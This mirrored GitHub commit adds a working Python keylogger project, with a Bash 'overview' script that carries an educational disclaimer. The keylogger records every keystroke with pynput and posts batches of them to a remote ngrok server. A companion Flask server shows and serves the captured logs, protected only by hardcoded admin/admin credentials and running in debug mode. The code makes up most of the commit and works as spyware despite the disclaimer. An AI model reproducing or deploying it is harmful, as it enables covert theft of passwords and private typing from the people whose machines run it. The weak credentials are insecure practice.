mirror of
https://github.com/0x5t4l1n/Keylogger.git
synced 2026-05-26 11:35:50 +00:00
Add files via upload
This commit is contained in:
+103
@@ -0,0 +1,103 @@
|
|||||||
|
import logging
|
||||||
|
from pynput.keyboard import Listener, Key
|
||||||
|
import os
|
||||||
|
import requests
|
||||||
|
import time
|
||||||
|
|
||||||
|
print(r"""
|
||||||
|
_ __ _
|
||||||
|
| |/ /___ _ _ | | ___ __ _ __ _ ___ _ __
|
||||||
|
| ' // _ \ | | | | | / _ \ / _` |/ _` |/ _ \ '__|
|
||||||
|
| . \ __/ |_| | | |__| (_) | (_| | (_| | __/ |
|
||||||
|
|_|\_\___|\__, | |_____\___/ \__, |\__, |\___|_|
|
||||||
|
|___/ |___/ |___/
|
||||||
|
0.1
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
GitHub:https://github.com/Stalin-143
|
||||||
|
""")
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Ask user for the desired log file location
|
||||||
|
log_location = input("Please enter the full path for the log file (e.g., /path/to/logfile.txt): ")
|
||||||
|
|
||||||
|
# Ensure the log directory exists
|
||||||
|
log_dir = os.path.dirname(log_location)
|
||||||
|
if not os.path.exists(log_dir) and log_dir != "":
|
||||||
|
try:
|
||||||
|
os.makedirs(log_dir, exist_ok=True) # Allows creation if directory doesn't exist
|
||||||
|
except PermissionError as e:
|
||||||
|
print(f"PermissionError: {e}")
|
||||||
|
print("Please ensure you have permission to write to the specified path.")
|
||||||
|
exit()
|
||||||
|
|
||||||
|
# Configure logging to write to the specified location
|
||||||
|
logging.basicConfig(
|
||||||
|
filename=log_location,
|
||||||
|
level=logging.DEBUG,
|
||||||
|
format="%(asctime)s: %(message)s"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Store the captured keys temporarily before sending them to the server
|
||||||
|
buffer = []
|
||||||
|
|
||||||
|
# Ask user for the ngrok server URL
|
||||||
|
url = input("Enter the ngrok server URL (e.g., https://xxxx-xxxx.ngrok-free.app): ")
|
||||||
|
|
||||||
|
# Function to send log data to the web server
|
||||||
|
def send_log_to_server():
|
||||||
|
global buffer
|
||||||
|
if buffer:
|
||||||
|
try:
|
||||||
|
log_data = ''.join(buffer)
|
||||||
|
response = requests.post(url, data={"log": log_data})
|
||||||
|
|
||||||
|
if response.status_code == 200:
|
||||||
|
print("Log sent successfully!")
|
||||||
|
else:
|
||||||
|
print(f"Failed to send log. Server responded with status: {response.status_code}")
|
||||||
|
|
||||||
|
# Clear the buffer after sending
|
||||||
|
buffer = []
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error sending log: {e}")
|
||||||
|
|
||||||
|
# Function to handle key press events
|
||||||
|
def on_press(key):
|
||||||
|
global buffer
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Capture the key press and format it
|
||||||
|
if hasattr(key, 'char') and key.char is not None:
|
||||||
|
key_str = f"Key pressed: {key.char}"
|
||||||
|
else:
|
||||||
|
# Handle special keys
|
||||||
|
key_str = f"Special key pressed: {key}"
|
||||||
|
|
||||||
|
# Log the key
|
||||||
|
logging.info(key_str)
|
||||||
|
buffer.append(key_str + "\n") # Add to buffer
|
||||||
|
|
||||||
|
# If buffer reaches a certain size, send the log
|
||||||
|
if len(buffer) >= 10: # Adjust batch size as needed
|
||||||
|
send_log_to_server()
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error logging key: {e}")
|
||||||
|
|
||||||
|
# Function to handle key release events (optional)
|
||||||
|
def on_release(key):
|
||||||
|
# Stop listener when 'esc' is pressed
|
||||||
|
if key == Key.esc:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Start listening for keyboard events
|
||||||
|
with Listener(on_press=on_press, on_release=on_release) as listener:
|
||||||
|
listener.join()
|
||||||
|
|
||||||
|
# Send logs when the listener stops (or periodically if needed)
|
||||||
|
send_log_to_server()
|
||||||
@@ -0,0 +1,112 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# Function to add some delay for animation effect
|
||||||
|
animate_echo() {
|
||||||
|
local text="$1"
|
||||||
|
local delay=0.05
|
||||||
|
for (( i=0; i<${#text}; i++ )); do
|
||||||
|
echo -n "${text:$i:1}"
|
||||||
|
sleep $delay
|
||||||
|
done
|
||||||
|
echo
|
||||||
|
}
|
||||||
|
|
||||||
|
# Introduction message
|
||||||
|
animate_echo "Welcome to the Keylogger Project Overview!"
|
||||||
|
animate_echo "----------------------------------------------"
|
||||||
|
animate_echo "This project demonstrates how a Keylogger operates."
|
||||||
|
animate_echo "Keyloggers are used for various purposes, both legal and illegal."
|
||||||
|
animate_echo "Let's dive deeper into understanding what Keyloggers are and how they work."
|
||||||
|
echo
|
||||||
|
|
||||||
|
# What is a Keylogger?
|
||||||
|
animate_echo "What is a Keylogger?"
|
||||||
|
animate_echo "---------------------"
|
||||||
|
animate_echo "A Keylogger is a tool used to record keystrokes on a device."
|
||||||
|
animate_echo "It can capture everything a user types: passwords, personal information, and much more."
|
||||||
|
animate_echo "Keyloggers are often used by hackers, but they can also be used for ethical purposes."
|
||||||
|
animate_echo "There are two types of keyloggers: Software Keyloggers and Hardware Keyloggers."
|
||||||
|
echo
|
||||||
|
|
||||||
|
# Why Hackers Use Keyloggers?
|
||||||
|
animate_echo "Why Hackers Use Keyloggers?"
|
||||||
|
animate_echo "----------------------------"
|
||||||
|
animate_echo "Keyloggers are commonly used for malicious purposes by hackers."
|
||||||
|
animate_echo "Here are some reasons why hackers use Keyloggers:"
|
||||||
|
echo
|
||||||
|
animate_echo "1. Stealing Personal Information: They capture sensitive data such as usernames, passwords, and bank details."
|
||||||
|
animate_echo "2. Credential Harvesting: Keyloggers help attackers gather login credentials for further unauthorized access."
|
||||||
|
animate_echo "3. Spyware & Surveillance: They monitor a person's online activities and communications without consent."
|
||||||
|
animate_echo "4. Social Engineering: Keyloggers assist hackers in gathering information to manipulate targets."
|
||||||
|
animate_echo "5. Advanced Persistent Threats (APTs): Keyloggers are used in ongoing, stealthy attacks to steal confidential information."
|
||||||
|
echo
|
||||||
|
|
||||||
|
# Keylogger Functionality
|
||||||
|
animate_echo "Keylogger Functionality and Operation"
|
||||||
|
animate_echo "--------------------------------------"
|
||||||
|
animate_echo "Keyloggers work by continuously capturing keystrokes made on the device."
|
||||||
|
animate_echo "Captured data can be stored locally on the victim's machine or sent to an attacker’s remote server."
|
||||||
|
animate_echo "Keyloggers also maintain stealth by running in the background, often undetected by antivirus software."
|
||||||
|
animate_echo "They are equipped with advanced features such as encryption, persistence, and evasion techniques."
|
||||||
|
echo
|
||||||
|
|
||||||
|
# Legal Implications of Keyloggers
|
||||||
|
animate_echo "Legal Implications of Keyloggers"
|
||||||
|
animate_echo "--------------------------------"
|
||||||
|
animate_echo "The use of keyloggers is regulated by strict laws. Unauthorized use of keyloggers is illegal."
|
||||||
|
animate_echo "Some of the legal frameworks include:"
|
||||||
|
echo
|
||||||
|
animate_echo "1. The Computer Fraud and Abuse Act (CFAA) in the U.S. criminalizes unauthorized access to computers."
|
||||||
|
animate_echo "2. The Wiretap Act makes it illegal to intercept communications without consent."
|
||||||
|
animate_echo "3. The General Data Protection Regulation (GDPR) mandates that personal data must be collected with consent."
|
||||||
|
animate_echo "4. The Privacy Act protects individuals from unauthorized surveillance and data theft."
|
||||||
|
animate_echo "5. Cybersecurity laws in various countries make hacking, data theft, and unauthorized surveillance punishable by law."
|
||||||
|
echo
|
||||||
|
|
||||||
|
# Ethical Considerations
|
||||||
|
animate_echo "Ethical Considerations"
|
||||||
|
animate_echo "-----------------------"
|
||||||
|
animate_echo "Keyloggers can also have legitimate uses in certain contexts."
|
||||||
|
animate_echo "For instance:"
|
||||||
|
animate_echo "1. **Parental Control**: Parents can use keyloggers to monitor their children's online activities."
|
||||||
|
animate_echo "2. **Employee Monitoring**: Employers may monitor their employees' keystrokes to ensure compliance with company policies."
|
||||||
|
animate_echo "However, it's important that these activities are done with **explicit consent** and within **legal boundaries**."
|
||||||
|
echo
|
||||||
|
|
||||||
|
# Keylogger in Cybersecurity
|
||||||
|
animate_echo "Keylogger in Cybersecurity"
|
||||||
|
animate_echo "--------------------------"
|
||||||
|
animate_echo "Ethical hackers and cybersecurity professionals may use keyloggers as part of security testing."
|
||||||
|
animate_echo "Keyloggers help in identifying system vulnerabilities and ensuring that sensitive data is protected."
|
||||||
|
animate_echo "However, ethical hacking must be done under strict guidelines and with the necessary permissions."
|
||||||
|
echo
|
||||||
|
|
||||||
|
# Impact on Privacy and Security
|
||||||
|
animate_echo "Impact on Privacy and Security"
|
||||||
|
animate_echo "-----------------------------"
|
||||||
|
animate_echo "The widespread use of keyloggers can have serious consequences on privacy and security:"
|
||||||
|
animate_echo "1. **Privacy Violations**: Keyloggers record everything typed, potentially exposing sensitive personal information."
|
||||||
|
animate_echo "2. **Identity Theft**: If hackers obtain passwords and personal data, they can use it to steal identities or commit fraud."
|
||||||
|
animate_echo "3. **Cybersecurity Risks**: Keyloggers can be a part of larger attacks like malware and phishing, compromising systems."
|
||||||
|
echo
|
||||||
|
|
||||||
|
# Conclusion
|
||||||
|
animate_echo "Conclusion"
|
||||||
|
animate_echo "-----------"
|
||||||
|
animate_echo "Keyloggers can be used ethically for monitoring and security testing, but they are often misused for malicious activities."
|
||||||
|
animate_echo "While keyloggers are effective for gathering data, using them without consent is illegal and can lead to severe legal consequences."
|
||||||
|
animate_echo "Always ensure that you have explicit permission before deploying such tools, and always operate within the **legal** and **ethical** boundaries."
|
||||||
|
animate_echo "Stay responsible and avoid using keyloggers for unauthorized surveillance or malicious purposes."
|
||||||
|
echo
|
||||||
|
|
||||||
|
# Legal Disclaimer
|
||||||
|
animate_echo "Legal Disclaimer"
|
||||||
|
animate_echo "-----------------"
|
||||||
|
animate_echo "This project is meant for educational purposes only."
|
||||||
|
animate_echo "Unauthorized use of keyloggers for malicious activities such as spying, data theft, and hacking is illegal."
|
||||||
|
animate_echo "Make sure to obtain **written consent** before using any monitoring tool and ensure compliance with all applicable laws."
|
||||||
|
echo
|
||||||
|
|
||||||
|
# End of the script
|
||||||
|
animate_echo "Thank you for exploring the Keylogger Project with us!"
|
||||||
|
animate_echo "Stay ethical, stay safe, and stay legal!"
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
pynput==1.7.6
|
||||||
|
Flask==2.0.1
|
||||||
|
requests==2.26.0
|
||||||
+123
@@ -0,0 +1,123 @@
|
|||||||
|
from flask import Flask, render_template_string, send_file, request, Response
|
||||||
|
import os
|
||||||
|
from functools import wraps
|
||||||
|
|
||||||
|
print(r"""
|
||||||
|
__ __ _ ____
|
||||||
|
\ \ / /__| |__ / ___| ___ _ ____ _____ _ __
|
||||||
|
\ \ /\ / / _ \ '_ \ \___ \ / _ \ '__\ \ / / _ \ '__|
|
||||||
|
\ V V / __/ |_) | ___) | __/ | \ V / __/ |
|
||||||
|
\_/\_/ \___|_.__/ |____/ \___|_| \_/ \___|_|
|
||||||
|
|
||||||
|
|
||||||
|
Github:https://github.com/Stalin-143
|
||||||
|
""")
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
app = Flask(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
# Specify the location of the log file (this should be provided by the user)
|
||||||
|
log_file_path = input("Enter the file path: ")
|
||||||
|
# Change this as needed
|
||||||
|
|
||||||
|
# Basic Authentication
|
||||||
|
USERNAME = 'admin'
|
||||||
|
PASSWORD = 'admin'
|
||||||
|
|
||||||
|
# Function to prompt for username and password if not authenticated
|
||||||
|
def check_auth(username, password):
|
||||||
|
return username == USERNAME and password == PASSWORD
|
||||||
|
|
||||||
|
# Function to require authentication for routes
|
||||||
|
def authenticate():
|
||||||
|
return Response(
|
||||||
|
'Unauthorized Access. Please log in with correct credentials.', 401,
|
||||||
|
{'WWW-Authenticate': 'Basic realm="Login Required"'})
|
||||||
|
|
||||||
|
# Decorator to enforce authentication
|
||||||
|
def requires_auth(f):
|
||||||
|
@wraps(f)
|
||||||
|
def decorated(*args, **kwargs):
|
||||||
|
auth = request.authorization
|
||||||
|
if not auth or not check_auth(auth.username, auth.password):
|
||||||
|
return authenticate()
|
||||||
|
return f(*args, **kwargs)
|
||||||
|
return decorated
|
||||||
|
|
||||||
|
# HTML template to display the log contents and provide a download link
|
||||||
|
HTML_TEMPLATE = '''
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Keylogger Log Viewer</title>
|
||||||
|
<style>
|
||||||
|
body {
|
||||||
|
font-family: Arial, sans-serif;
|
||||||
|
background-color: #f0f0f0;
|
||||||
|
margin: 0;
|
||||||
|
padding: 20px;
|
||||||
|
}
|
||||||
|
h1 {
|
||||||
|
color: #333;
|
||||||
|
}
|
||||||
|
pre {
|
||||||
|
background-color: #fff;
|
||||||
|
padding: 15px;
|
||||||
|
border: 1px solid #ccc;
|
||||||
|
max-height: 400px;
|
||||||
|
overflow-y: scroll;
|
||||||
|
}
|
||||||
|
.button {
|
||||||
|
padding: 10px 15px;
|
||||||
|
background-color: #4CAF50;
|
||||||
|
color: white;
|
||||||
|
text-align: center;
|
||||||
|
border: none;
|
||||||
|
cursor: pointer;
|
||||||
|
margin-top: 20px;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
.button:hover {
|
||||||
|
background-color: #45a049;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h1>Log File: {{ log_file_path }}</h1>
|
||||||
|
|
||||||
|
<h2>Log File Contents:</h2>
|
||||||
|
<pre>{{ log_contents }}</pre>
|
||||||
|
|
||||||
|
<a href="{{ url_for('download_log') }}" class="button">Download Log File</a>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
'''
|
||||||
|
|
||||||
|
# Route to display the log file contents and provide a download link
|
||||||
|
@app.route('/')
|
||||||
|
@requires_auth
|
||||||
|
def home():
|
||||||
|
if os.path.exists(log_file_path):
|
||||||
|
with open(log_file_path, 'r') as file:
|
||||||
|
log_contents = file.read()
|
||||||
|
else:
|
||||||
|
log_contents = "Log file not found."
|
||||||
|
|
||||||
|
return render_template_string(HTML_TEMPLATE, log_file_path=log_file_path, log_contents=log_contents)
|
||||||
|
|
||||||
|
# Route to download the log file
|
||||||
|
@app.route('/download')
|
||||||
|
@requires_auth
|
||||||
|
def download_log():
|
||||||
|
if os.path.exists(log_file_path):
|
||||||
|
return send_file(log_file_path, as_attachment=True)
|
||||||
|
return "Log file not found."
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
app.run(debug=True)
|
||||||
Reference in New Issue
Block a user